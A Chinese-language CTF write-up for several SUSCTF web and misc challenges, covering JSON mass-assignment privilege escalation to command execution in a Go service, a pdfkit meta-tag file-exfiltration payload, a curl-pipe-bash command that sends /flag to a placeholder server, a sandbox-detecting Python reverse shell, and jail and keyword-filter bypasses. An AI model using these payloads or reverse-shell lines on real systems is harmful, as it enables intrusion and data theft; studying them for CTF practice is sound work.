Web am i admin? 下载附件得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package mainimport ( "log" "net/http" ) const PORT_STR = ":8080" func main () { adminPassword := GenRandomSeq(16 ) log.Printf("Admin password: %s\n" , adminPassword) adminUserCreds := UserCreds{ Username: "admin" , Password: adminPassword, IsAdmin: true , } store := NewSessionStore() userDB := NewUserDB() userDB.Lock() userDB.users["admin" ] = adminUserCreds userDB.Unlock() auth := &Auth{ AdminPassword: adminPassword, Store: store, UserDB: userDB, } http.HandleFunc("/register" , auth.RegisterHandler) http.HandleFunc("/login" , auth.LoginHandler) http.HandleFunc("/logout" , auth.LogoutHandler) http.HandleFunc("/run" , auth.RequireAdmin(RunCommandHandler)) log.Printf("Server running on %s\n" , PORT_STR) log.Fatal(http.ListenAndServe(PORT_STR, nil )) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package mainimport ( "encoding/json" "net/http" "os/exec" ) type RunCommandReq struct { Cmd string `json:"cmd"` Args []string `json:"args"` } func RunCommandHandler (w http.ResponseWriter, r *http.Request) { var body RunCommandReq json.NewDecoder(r.Body).Decode(&body) out, err := exec.Command(body.Cmd, body.Args...).CombinedOutput() resp := map [string ]string { "output" : string (out), } if err != nil { resp["error" ] = err.Error() } json.NewEncoder(w).Encode(resp) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 package mainimport ( "encoding/json" "fmt" "net/http" "sync" ) type UserCreds struct { Username string `json:"username"` Password string `json:"password"` IsAdmin bool } type SessionStore struct { sync.Mutex sessions map [string ]UserCreds } func NewSessionStore () *SessionStore { return &SessionStore{sessions: make (map [string ]UserCreds)} } type UserDB struct { sync.Mutex users map [string ]UserCreds } func NewUserDB () *UserDB { return &UserDB{users: make (map [string ]UserCreds)} } type Auth struct { AdminPassword string Store *SessionStore UserDB *UserDB } func (a *Auth) RegisterHandler(w http.ResponseWriter, r *http.Request) { var c UserCreds json.NewDecoder(r.Body).Decode(&c) if c.Username == "" || c.Password == "" { http.Error(w, "username and password required" , http.StatusBadRequest) return } if c.Username == "admin" { http.Error(w, "cannot register as admin" , http.StatusForbidden) return } a.UserDB.Lock() defer a.UserDB.Unlock() if _, exists := a.UserDB.users[c.Username]; exists { http.Error(w, "username already exists" , http.StatusConflict) return } a.UserDB.users[c.Username] = c w.Write([]byte ("register success" )) } func (a *Auth) LoginHandler(w http.ResponseWriter, r *http.Request) { var c UserCreds json.NewDecoder(r.Body).Decode(&c) a.UserDB.Lock() user, ok := a.UserDB.users[c.Username] a.UserDB.Unlock() if ok && user.Password == c.Password { if user.Username == "admin" && user.Password == a.AdminPassword { user.IsAdmin = true } sessionID := GenRandomSeq(32 ) a.Store.Lock() a.Store.sessions[sessionID] = user a.Store.Unlock() http.SetCookie(w, &http.Cookie{Name: "session_id" , Value: sessionID, Path: "/" }) fmt.Fprintf(w, "user %s logged in" , user.Username) return } http.Error(w, "invalid credentials" , http.StatusUnauthorized) } func (a *Auth) LogoutHandler(w http.ResponseWriter, r *http.Request) { cookie, err := r.Cookie("session_id" ) if err != nil { http.Error(w, "no session, are you logged in?" , http.StatusInternalServerError) return } a.Store.Lock() delete (a.Store.sessions, cookie.Value) a.Store.Unlock() w.Write([]byte ("user logged out" )) } func (a *Auth) RequireAdmin(next http.HandlerFunc) http.HandlerFunc { return func (w http.ResponseWriter, r *http.Request) { cookie, err := r.Cookie("session_id" ) if err != nil { http.Error(w, "not logged in" , http.StatusUnauthorized) return } a.Store.Lock() user, ok := a.Store.sessions[cookie.Value] a.Store.Unlock() if !ok || !user.IsAdmin { http.Error(w, "admin only" , http.StatusForbidden) return } next(w, r) } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package mainimport ( "crypto/rand" "encoding/base64" ) func GenRandomSeq (length int ) string { b := make ([]byte , length) _, err := rand.Read(b) if err != nil { panic (err) } return base64.URLEncoding.EncodeToString(b)[:length] }
按照预期逻辑,我们需要知道admin的密码,登录admin账号才可以使得IsAdmin为true,但是admin的账户密码是随机生成的,这这意味着,如果我们要爆破,则至多需要64**16次尝试,不太现实,正常登录的路径不太行。
但是可以注意到注册逻辑,是直接获取用户发送的json数据,虽然IsAdmin字段没有 JSON 标签,但 Go 默认会序列化导出字段,这意味着我们在注册时可以手动指定IsAdmin为true,并且后续没有其他逻辑会使得它变为false。
最后借助/run直接rce即可,以下EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsurl = "http://106.14.191.23:55112" def login (username, password ): post_data = { "username" : username, "password" : password } res = requests.post(url+"/login" , json=post_data) print (res.cookies) return res.cookies["session_id" ] def register (username, password ): post_data = { "username" : username, "password" : password, "IsAdmin" : True } res = requests.post(url+"/register" , json=post_data) print (res.text) def run (cmd, args,session_id ): post_data = { "cmd" : cmd, "args" : args } headers = { "Cookie" :"session_id=" +session_id } res = requests.post(url+"/run" , json=post_data, headers=headers) print (res.text) if __name__ == "__main__" : u = "BR" p = "123456" register(u,p) session_id = login(u,p) run("cat" ,["/flag" ], session_id)
am i admin?2 相比上一题,waf了一下IsAdmin:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 package mainimport ( "encoding/json" "fmt" "io" "net/http" "strings" "sync" ) type UserCreds struct { Username string `json:"username"` Password string `json:"password"` IsAdmin bool } type SessionStore struct { sync.Mutex sessions map [string ]UserCreds } func NewSessionStore () *SessionStore { return &SessionStore{sessions: make (map [string ]UserCreds)} } type UserDB struct { sync.Mutex users map [string ]UserCreds } func NewUserDB () *UserDB { return &UserDB{users: make (map [string ]UserCreds)} } type Auth struct { AdminPassword string Store *SessionStore UserDB *UserDB } func (a *Auth) RegisterHandler(w http.ResponseWriter, r *http.Request) { body, _ := io.ReadAll(r.Body) bodyStr := string (body) if strings.Contains(bodyStr, "IsAdmin" ) { http.Error(w, "not allowed!" , http.StatusForbidden) return } var c UserCreds json.Unmarshal(body, &c) if c.Username == "" || c.Password == "" { http.Error(w, "username and password required" , http.StatusBadRequest) return } if c.Username == "admin" { http.Error(w, "cannot register as admin" , http.StatusForbidden) return } a.UserDB.Lock() defer a.UserDB.Unlock() if _, exists := a.UserDB.users[c.Username]; exists { http.Error(w, "username already exists" , http.StatusConflict) return } a.UserDB.users[c.Username] = c w.Write([]byte ("register success" )) } func (a *Auth) LoginHandler(w http.ResponseWriter, r *http.Request) { body, _ := io.ReadAll(r.Body) bodyStr := string (body) if strings.Contains(bodyStr, "IsAdmin" ) { http.Error(w, "not allowed!" , http.StatusForbidden) return } var c UserCreds json.Unmarshal(body, &c) a.UserDB.Lock() user, ok := a.UserDB.users[c.Username] a.UserDB.Unlock() if ok && user.Password == c.Password { if user.Username == "admin" && user.Password == a.AdminPassword { user.IsAdmin = true } sessionID := GenRandomSeq(32 ) a.Store.Lock() a.Store.sessions[sessionID] = user a.Store.Unlock() http.SetCookie(w, &http.Cookie{Name: "session_id" , Value: sessionID, Path: "/" }) fmt.Fprintf(w, "user %s logged in" , user.Username) return } http.Error(w, "invalid credentials" , http.StatusUnauthorized) } func (a *Auth) LogoutHandler(w http.ResponseWriter, r *http.Request) { cookie, err := r.Cookie("session_id" ) if err != nil { http.Error(w, "no session, are you logged in?" , http.StatusInternalServerError) return } a.Store.Lock() delete (a.Store.sessions, cookie.Value) a.Store.Unlock() w.Write([]byte ("user logged out" )) } func (a *Auth) RequireAdmin(next http.HandlerFunc) http.HandlerFunc { return func (w http.ResponseWriter, r *http.Request) { cookie, err := r.Cookie("session_id" ) if err != nil { http.Error(w, "not logged in" , http.StatusUnauthorized) return } a.Store.Lock() user, ok := a.Store.sessions[cookie.Value] a.Store.Unlock() if !ok || !user.IsAdmin { http.Error(w, "admin only" , http.StatusForbidden) return } next(w, r) } }
换小写就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import requestsurl = "http://106.14.191.23:50706" def login (username, password ): post_data = { "username" : username, "password" : password } res = requests.post(url+"/login" , json=post_data) print (res.cookies["session_id" ]) return res.cookies["session_id" ] def register (username, password ): post_data = { "username" : username, "password" : password, "isadmin" : True } res = requests.post(url+"/register" , json=post_data) print (res.text) def run (cmd, args,session_id ): post_data = { "cmd" : cmd, "args" : args } headers = { "Cookie" :"session_id=" +session_id } res = requests.post(url+"/run" , json=post_data, headers=headers) print (res.text) if __name__ == "__main__" : u = "BR" p = "123456" register(u,p) session_id = login(u,p) run("cat" ,["/flag" ], session_id)
easyprint 附件给到题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from flask import Flask, request, render_template, send_fileimport pdfkitimport ioapp = Flask(__name__) options = {"disable-javascript" : "" } @app.route("/" , methods=["GET" ] ) def index (): default_html = "<html><h2>Hello PDF</h2><p>This is sample text that will be converted to PDF.</p></html>" return render_template("index.html" , default_html=default_html) @app.route("/generate_pdf" , methods=["POST" ] ) def generate_pdf (): html_content = request.form.get("html_content" , "" ) pdf = pdfkit.from_string(html_content, False ) return send_file( io.BytesIO(pdf), mimetype="application/pdf" , as_attachment=True , download_name="generated.pdf" , ) if __name__ == "__main__" : app.run(host="0.0.0.0" )
很明显,漏洞点应该在于pdfkit或者wkhtmltopdf
找到个CVE-2025-26240
拿payload直接打即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl = "http://106.14.191.23:59859" vps = "http://x.x.x.x:xxxx" file_path = "/flag" payload = f"""<meta name='pdfkit---quiet' content=''> <meta name='pdfkit---enable-local-file-access' content=''> <meta name='pdfkit---post-file' content=''> <meta name='pdfkit-file--a' content='{file_path} '> <meta name='pdfkit-{vps} /?LFI-TEST=--' content='--cache-dir'> <h1>LFI POC</h1> """ post_data = { "html_content" : payload } res = requests.post(url+"/generate_pdf" , data=post_data) print (res.status_code)
Misc Questionnaire 问卷题,正常答完题抽个奖就行:
curlbash 下载附件得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import subprocessimport osimport hashlibimport requestsROOT = "/app" TEST_SCRIPT_PATH = "testscript.sh" CURLBASH = """ #!/bin/bash curl -fsSL {url} | bash -re """ def hash_file (path ): h = hashlib.sha256() with open (path, "rb" ) as f: while chunk := f.read(8192 ): h.update(chunk) return h.hexdigest() def snapshot_directory (*paths ): file_hashes = {} for path in paths: for root, dirs, files in os.walk(path): for f in files: full_path = os.path.join(root, f) try : file_hashes[full_path] = hash_file(full_path) except Exception: pass return file_hashes def fetch (url ): result = requests.get(url) result.raise_for_status() return result.text def fetch_with_curl (url ): result = subprocess.run(["curl" , "-fsSL" , url], capture_output=True , text=True ) if result.returncode != 0 : print ("Failed to download script!" ) exit(1 ) return result.stdout def write_script_to_chroot (script_path, script_content ): content = "readonly LD_PRELOAD\n" + script_content script_file = os.path.join(ROOT, script_path) with open (script_file, "w" ) as f: f.write(content) os.chmod(script_file, 0o755 ) def run_bash_script (script_path, sandbox=True ): script_path = os.path.join(ROOT, script_path) sandbox_cmd = ["/bin/bash" , "-re" , script_path] if sandbox: sandbox_cmd.insert(0 , "qemu-x86_64" ) result = subprocess.run(sandbox_cmd, capture_output=True , text=True ) print ("Exit code:" , result.returncode) if result.returncode != 0 : print ("Ah-oh exit code. You fail!" ) exit(1 ) def run_sandboxed (url ): s = fetch_with_curl(url) if s != fetch(url): print ("WTH did you give me?" ) exit(1 ) write_script_to_chroot(TEST_SCRIPT_PATH, s) root_snapshot_before = snapshot_directory(ROOT, "/tmp" , "/dev/shm" ) run_bash_script(TEST_SCRIPT_PATH) root_snapshot_after = snapshot_directory(ROOT, "/tmp" , "/dev/shm" ) changed_files = [] for fpath, hsh in root_snapshot_before.items(): if fpath in root_snapshot_after: if root_snapshot_after[fpath] != hsh: changed_files.append(fpath) else : changed_files.append(fpath + " (deleted)" ) new_files = [f for f in root_snapshot_after if f not in root_snapshot_before] if not changed_files and not new_files: print ("No disk files were modified by the script. Good!" ) else : print (f"Files changed: {changed_files} " ) print (f"New files: {new_files} " ) print ("Some disk files were modified. You fail." ) exit(1 ) def run_curlbash (url ): write_script_to_chroot(TEST_SCRIPT_PATH, CURLBASH.format (url=url)) run_bash_script(TEST_SCRIPT_PATH, sandbox=False ) def main (): url = input ("Your script: " ) random_index = int .from_bytes(os.urandom(1 ), "big" ) % 32 for i in range (random_index): print (f"[Round {i} ]" , end=" " ) run_sandboxed(url) print (f"[Round {random_index} CURLBASH]" , end=" " ) run_curlbash(url) if __name__ == "__main__" : main()
先获取shell脚本,然后在沙箱环境下执行n次,如果n次都正常执行,那么就在非沙箱环境下执行一次,同时所有的执行结果无回显。
这边一个非预期就是直接利用vps外带回显:
1 curl -fsSL http://x.x.x.x:xxxx/`cat /flag` | bash -re
手动补一下缺少的{和}即可
curlbash-revenge 修复了curlbash的非预期解。附件同curlbash,仅更新了远程题目环境。
这里一开始我发现,正常执行结果返回0,而如果命令不存在,就会返回127,借此以达到布尔盲注得到回显的目的,一开始的盲注脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *ip = "106.14.191.23" port = 53900 script_path = "http://x.x.x.x:xxxx/exp.sh" cmd = "cat /flag" def check (): io = remote(ip, port) io.sendlineafter(b"Your script:" , script_path) res = io.recvuntil(b'.' ) if b"Exit code: 0" in res: io.recvall() return True elif b"Exit code: 127" in res: io.recvall() return False else : print ("ERROR" ) exit(0 ) def test (goal, index ): return goal > index def update_sh (index, ch ): if ch in ["`" ,"\\" ]: ch = "\\" +ch script = f"""#!/bin/bash result=$({cmd} ) first_char="${{result:{index} :1}}" if [[ "$first_char" > "{ch} " ]]; then pwd else aaa fi """ with open ("exp.sh" ,"w" ) as fp: fp.write(script) if __name__ == "__main__" : result = "" while True : left = 1 right = 126 index = (left+right)//2 while True : print (f"left: {left} , right: {right} , index: {index} " ) if left >= right: print (f"Find: {chr (index)} " ) result += chr (index) print (f"Result: " + result) break update_sh(len (result), chr (index)) if check(): left = index + 1 else : right = index index = (left+right)//2 if chr (index) == "~" : break
但是后面发现效率太低,而且拿到的是沙箱的flag:susctf{fake_flag}
正解应该是识别沙箱环境,如果是沙箱就正常执行,如果不是沙箱再执行恶意代码,我这里选择利用python直接反弹shell:
1 2 3 4 5 6 7 8 9 # !/bin/bash read -r PROC_NAME < /proc/self/comm if [[ "$PROC_NAME" == qemu* ]]; then pwd else python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' fi
easyjail 下载附件得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import subprocessimport osimport hashlibimport requestsROOT = "/app" TEST_SCRIPT_PATH = "testscript.sh" def hash_file (path ): h = hashlib.sha256() with open (path, "rb" ) as f: while chunk := f.read(8192 ): h.update(chunk) return h.hexdigest() def snapshot_directory (*paths ): file_hashes = {} for path in paths: for root, dirs, files in os.walk(path): for f in files: full_path = os.path.join(root, f) try : file_hashes[full_path] = hash_file(full_path) except Exception: pass return file_hashes def fetch (url ): r = requests.get(url) r.raise_for_status() return r.text def write_script_to_chroot (script_path, script_content ): content = "readonly LD_PRELOAD\n" + script_content script_file = os.path.join(ROOT, script_path) with open (script_file, "w" ) as f: f.write(content) os.chmod(script_file, 0o755 ) def run_bash_script_sandbox (script_path ): script_path = os.path.join(ROOT, script_path) env = {"LD_PRELOAD" : "./override.so" } sandbox_cmd = ["bash" , "-re" , script_path] result = subprocess.run(sandbox_cmd, capture_output=True , text=True , env=env) return result def main (): url = input ("Your script: " ) s = fetch(url) write_script_to_chroot(TEST_SCRIPT_PATH, s) root_snapshot_before = snapshot_directory(ROOT, "/tmp" , "/dev/shm" ) result = run_bash_script_sandbox(TEST_SCRIPT_PATH) print ("Script stdout:" , result.stdout) print ("Script stderr:" , result.stderr) print ("Exit code:" , result.returncode) if result.returncode != 0 : print ("Ah-oh exit code. You fail!" ) exit(1 ) root_snapshot_after = snapshot_directory(ROOT, "/tmp" , "/dev/shm" ) changed_files = [] for fpath, hsh in root_snapshot_before.items(): if fpath in root_snapshot_after: if root_snapshot_after[fpath] != hsh: changed_files.append(fpath) else : changed_files.append(fpath + " (deleted)" ) new_files = [f for f in root_snapshot_after if f not in root_snapshot_before] if not changed_files and not new_files: print ("No disk files were modified by the script. Good!" ) else : print (f"Files changed: {changed_files} " ) print (f"New files: {new_files} " ) print ("Some disk files were modified. You fail." ) exit(1 ) if __name__ == "__main__" : main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 #define _POSIX_C_SOURCE 200809L #include <arpa/inet.h> #include <dlfcn.h> #include <errno.h> #include <fcntl.h> #include <linux/openat2.h> #include <netinet/in.h> #include <stdarg.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> typedef int (*open_func_t ) (const char *, int , ...) ;typedef int (*openat_func_t ) (int , const char *, int , ...) ;typedef int (*openat2_func_t ) (int , const char *, struct open_how *, size_t ) ;typedef int (*io_uring_setup_t ) (unsigned int , void *) ;typedef int (*io_uring_enter_t ) (unsigned int , unsigned int , unsigned int , unsigned int , void *) ;typedef int (*connect_func_t ) (int , const struct sockaddr *, socklen_t ) ;int open (const char *pathname, int flags, ...) { static open_func_t real_open = NULL ; if (!real_open) { real_open = (open_func_t )dlsym(RTLD_NEXT, "open" ); } if (pathname && strstr (pathname, "flag" ) != NULL ) { errno = EPERM; return -1 ; } if ((flags & O_PATH) == O_PATH) { errno = EPERM; return -1 ; } mode_t mode = 0 ; if (flags & O_CREAT) { va_list args; va_start(args, flags); mode = va_arg(args, mode_t ); va_end(args); return real_open(pathname, flags, mode); } return real_open(pathname, flags); } int openat (int dirfd, const char *pathname, int flags, ...) { static openat_func_t real_openat = NULL ; if (!real_openat) { real_openat = (openat_func_t )dlsym(RTLD_NEXT, "openat" ); } if (pathname && strstr (pathname, "flag" ) != NULL ) { errno = EPERM; return -1 ; } if ((flags & O_PATH) == O_PATH) { errno = EPERM; return -1 ; } mode_t mode = 0 ; if (flags & O_CREAT) { va_list args; va_start(args, flags); mode = va_arg(args, mode_t ); va_end(args); return real_openat(dirfd, pathname, flags, mode); } return real_openat(dirfd, pathname, flags); } int openat2 (int dirfd, const char *pathname, struct open_how *how, size_t size) { typedef int (*openat2_func_t ) (int , const char *, struct open_how *, size_t ) ; static openat2_func_t real_openat2 = NULL ; if (!real_openat2) { real_openat2 = (openat2_func_t )dlsym(RTLD_NEXT, "openat2" ); } if (pathname && strstr (pathname, "flag" ) != NULL ) { errno = EPERM; return -1 ; } if ((how->flags & O_PATH) == O_PATH) { errno = EPERM; return -1 ; } return real_openat2(dirfd, pathname, how, size); } int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen) { static connect_func_t real_connect = NULL ; if (!real_connect) { real_connect = (connect_func_t )dlsym(RTLD_NEXT, "connect" ); } if (addr->sa_family == AF_INET && addrlen >= sizeof (struct sockaddr_in)) { struct sockaddr_in new_addr = *(struct sockaddr_in *)addr; new_addr.sin_addr.s_addr = inet_addr("127.0.0.1" ); return real_connect(sockfd, (struct sockaddr *)&new_addr, addrlen); } errno = EAFNOSUPPORT; return -1 ; } int io_uring_setup (unsigned int entries, void *params) { errno = EPERM; return -1 ; } int io_uring_enter (unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, void *sig) { errno = EPERM; return -1 ; }
沙箱绕过类题目,禁了外联,禁止在/tmp、/app,/dev/shm下进行文件更新,禁止读取带有flag的文件。
先找一下有没有可以写入文件的其他文件夹:
1 find / -type d -perm -o+w
可以利用/var/tmp目录,配合软链接读取flag:
1 2 ln -s /flag /var/tmp/f cat /var/tmp/f
eat-mian 需要用nc连接,需要我们输入一个http请求体,然后回显一个http响应体。
显然应该是存在ssrf问题,先尝试访问一下它本地的http服务。
这里为了方便操作,我选择利用socat进行一个代理:
1 socat TCP-LISTEN:8080,fork,reuseaddr TCP:106.14.191.23:53776
访问:
1 curl -X GET http://127.0.0.1:8080/
得到结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 <!doctype html > <html lang ="zh-cn" > <head > <meta charset ="UTF-8" /> <meta name ="viewport" content ="width=device-width, initial-scale=1.0" /> <title > Online Judge</title > <link rel ="stylesheet" href ="https://cdn.jsdelivr.net/npm/@xterm/xterm/css/xterm.css" /> <link rel ="stylesheet" href ="/static/style.css" /> </head > <body > <nav > <span > SUSCTF 在线判题系统</span > <span > <button id ="run" > 运行</button > <button id ="submit" class ="prime" > 提交</button > </span > </nav > <main class ="span-container-x" > <div class ="span-a" > <div class ="card" > <span class ="card-head" > 题目描述</span > <div id ="info" class ="card-body" > </div > </div > </div > <div class ="span-b" style ="width: 60%" > <div class ="span-container-y" > <div class ="span-a" style ="height: 70%" > <div class ="card" > <span class ="card-head" > 代码</span > <div id ="container" class ="card-body" style ="overflow: hidden" > <div id ="editor" > </div > </div > </div > </div > <div class ="span-b" > <div class ="card" > <span class ="card-head" > 测试结果</span > <div class ="card-body" id ="result" style ="overflow: hidden" > </div > </div > </div > </div > </div > </main > <script type ="importmap" > { "imports" : { "@monaco-editor/loader" : "https://cdn.jsdelivr.net/npm/@monaco-editor/loader/+esm" , "marked" : "https://cdn.jsdelivr.net/npm/marked/lib/marked.esm.js" , "@xterm/xterm" : "https://cdn.jsdelivr.net/npm/@xterm/xterm/+esm" , "@xterm/addon-fit" : "https://cdn.jsdelivr.net/npm/@xterm/addon-fit/+esm" } } </script > <script > async function fetchData ( ) { const info_response = await fetch ("/static/task.md" ); const info = await info_response.text (); const code_response = await fetch ("/static/task.c" ); const code = await code_response.text (); return { info, code }; } async function postData (code ) { const response = await fetch ("/submit" , { method : "POST" , headers : { "Content-Type" : "application/json" , }, body : JSON .stringify ({ code }), }); return await response.json (); } </script > <script type ="module" > import loader from "@monaco-editor/loader" ; import { marked } from "marked" ; import { Terminal } from "@xterm/xterm" ; import { FitAddon } from "@xterm/addon-fit" ; let editor; loader.config ({ "vs/nls" : { availableLanguages : { "*" : "zh-cn" } } }); fetchData ().then (({ info, code } ) => { loader.init ().then ((monacoInstance ) => { editor = monacoInstance.editor .create ( document .getElementById ("editor" ), { value : localStorage .getItem ("code" ) ?? code, language : "c" , automaticLayout : true , }, ); editor.onDidChangeModelContent (() => { localStorage .setItem ("code" , editor.getValue ()); }); editor.addAction ({ id : "susctf-action-reset" , label : "重置代码" , contextMenuGroupId : "navigation" , contextMenuOrder : 1.5 , run ( ) { editor.pushUndoStop (); editor.executeEdits ("name-of-edit" , [ { range : editor.getModel ().getFullModelRange (), text : code, }, ]); editor.pushUndoStop (); }, }); editor.focus (); }); document .getElementById ("info" ).innerHTML = marked.parse (info); }); const terminal = new Terminal ({ convertEol : false , disableStdin : true , rows : 1 , cols : 10 , theme : { background : "#fff" , foreground : "#000" , }, }); const fitAddon = new FitAddon (); terminal.loadAddon (fitAddon); terminal.open (document .getElementById ("result" )); fitAddon.fit (); terminal.write ("=== 运行或提交后显示 ===\r\n" ); document .getElementById ("run" ).addEventListener ("click" , () => { alert ("不许运行" ); }); const button = document .getElementById ("submit" ); button.addEventListener ("click" , () => { button.setAttribute ("disabled" , "disabled" ); terminal.clear (); terminal.write ("=== 运行中 ===\r\n" ); postData (editor.getValue ()).then ((data ) => { terminal.clear (); terminal.write (data.data + "\r\n" ); button.removeAttribute ("disabled" ); }); }); </script > </body > </html >
这是一个判题系统,需要我们完成指定任务,再获取一下task.md和task.c文件
1 2 curl -X GET http://127.0.0.1:8080/static/task.md curl -X GET http://127.0.0.1:8080/static/task.c
得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 # eat-mian 我要食面! **注意** :提交的代码中不能出现 `int` 和 `main` 关键字。你的代码将以头文件的形式嵌入测试代码中,且所有 `int` 和 `main` 均将被替换为 `eat` 和 `mian` 。 例如: ```c #include <stdio.h> #include <stdlib.h> #include <time.h> // 你写的代码会插入这里 int main(void) { srand(time(NULL)); int n = rand(); printf("I int %d cups of main! wwwww\n", n); return 0; } ``` 会变成: ```c #include <stdio.h> #include <stdlib.h> #include <time.h> // 你写的代码会插入这里 eat mian(void) { srand(time(NULL)); eat n = rand(); preatf("I eat %d cups of mian! wwwww\n", n); return 0; } ``` 要求输出: `I eat \d+ cups of mian! wwwww`
和
显然,如果我们不做任何操作(即不插入任何代码),原代码肯定无法正常运行,对此有三个部分需要修正:
int被替换为eat
这个很好解决,定义个宏即可:
printf被替换为preatf
我们自己定义一个preatf函数实现原printf的功能即可,这里我选择使用puts代替。
1 2 3 void preatf (const char *fmt, long n) { puts ("I eat 666 cups of mian! wwwww" ); }
main被替换为mian
可利用gcc的内联汇编语句,把mian设为main的别名,然后用引号拼接绕过关键词检测,即:
1 __asm__(".globl mai" "n\n.set mai" "n,mian" );
那么完整需要插入的语句就是:
1 2 3 4 5 #define eat long __asm__(".globl mai" "n\n.set mai" "n,mian" ); void preatf (const char *fmt, long n) { puts ("I eat 666 cups of mian! wwwww" ); }
使用curl发送:
1 2 3 curl -X POST http://127.0.0.1:8080/submit \ -H "Content-Type: application/json" \ -d '{"code": "#define eat long\n__asm__(\".globl mai\"\"n\\n.set mai\"\"n,mian\");\nvoid preatf(const char *fmt, long n){puts(\"I eat 666 cups of mian! wwwww\");}"}'
signin 下载下来是一个.ai文件,用Adobe Illustrator打开,可以看到flag: